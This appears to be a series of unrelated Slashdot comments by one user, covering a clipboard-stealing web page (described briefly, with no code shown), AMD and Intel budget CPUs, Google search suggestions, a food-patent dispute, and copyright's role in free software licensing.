You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):
Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .
Does anyone else find it surreal that Pat Niemeyer (Slashdot ID #444913) posted the original note in this thread, then disagreed with his own post in another post, and got modded up for it both times??
~.^
Yeah? Well, I once tried to send an SCV to turn off my alarm clock. Take that, zerg scum!
AMD doesn't need to release a whole new line of processors just to compete with the Celeron -- they've had the Celeron beaten for years. AMD's Duron line was consistently cheaper and faster than Celeron -- I refer you to any one of a number of tech sites. Anandtech had a good "budget processor" article comparing Durons and Celerons a while back. Tom's Hardware would do too.
More recently, AMD released the Sempron, meant to replace the Duron as its budget-level processor. Consider Anandtech's conclusion from a Sempron vs. Celeron test they did last July:
"Sempron, at a glance, surpasses its goal to be a powerful budget processor. Cheaper than the current fastest Intel Celeron, both flavors of Sempron that we tested here outperform the competition in almost every test."
In the performance market segment, Intel and AMD have been locked in battle for ages -- sometimes one is up, sometimes the other -- but if you're building a budget system, AMD offers more bang for less buck.
I'll be interested to see how this unfortunately named "Turion" chip compares to the PentiumM.
What page were you using? I typed in "C# structs" (both with and without quotes) here, and got three suggestions, each with thousands of results. Mind you, the suggestions were "c structs", "c structs tutorial", and "c structs array", so it looks like maybe it doesn't understand the "#" character. But it did have results.
And, of course, these are suggestions. It's not like you must obey the word of Google as you would your Lord and God or anything. Lighten up.
Somebody didn't look at the downloads page, where you will find a free BitTorrent link for their "Open Circulation" edition. If you want to d/l using standard HTTP, there's a fee of a whopping ten bucks.
"Probably not original" is right. This is basically identical to a "pasty" (rhymes with "nasty" not "hasty"). To make a pasty, you take some dough, make a circle, put some fillings in the middle, fold it over, crimp the edges, and bake. Probably the most famous type of pasty in the English-speaking world is the Cornish pasty. There's also a Russian version called pirogi. They've also got a strong strong pasty tradition in northwest Michigan, which is where the hapless supermarket that Smuckers took on was located.
Basically, this method for creating a portable, self-contained meal has been around for centuries. Smuckers just put in a different filling. The only really original thing about the case was that they thought they could get a patent on the idea -- and that the patent office agreed!
Let me se if I understand:
Without copyright, there would be no free software. Which reverses to:
Without free software, there would be no copyright.
No, I don't understand at all. The first copyright law was the Statute of Anne, passed by the British Parliament in 1710. Software, per se, didn't really get going till the mid-20th century (ENIAC was finished in 1945). So copyright pre-dates software (free or otherwise) by about 235 years.
Are you trying to say that if there was no copyright, then all software would be free? If so, I disagree. If software was not covered by copyright, then it would be public domain material. There would be no legal basis for asking people to share their innovations back to the community. You could take code, modify it, improve it, and then sell binary versions without releasing your improvements. You wouldn't be required to acknowledge the original author, and you could put the code into commercial projects whether the original author liked it or not. In short, none of the provisions that you find in existing free or open source licenses would be the least bit enforceable. The free/open source movements need copyrightable software - without it, we would have to rely entirely on people's goodwill and charitable impulses, which is a much more dubious proposition, especially where software intersects business.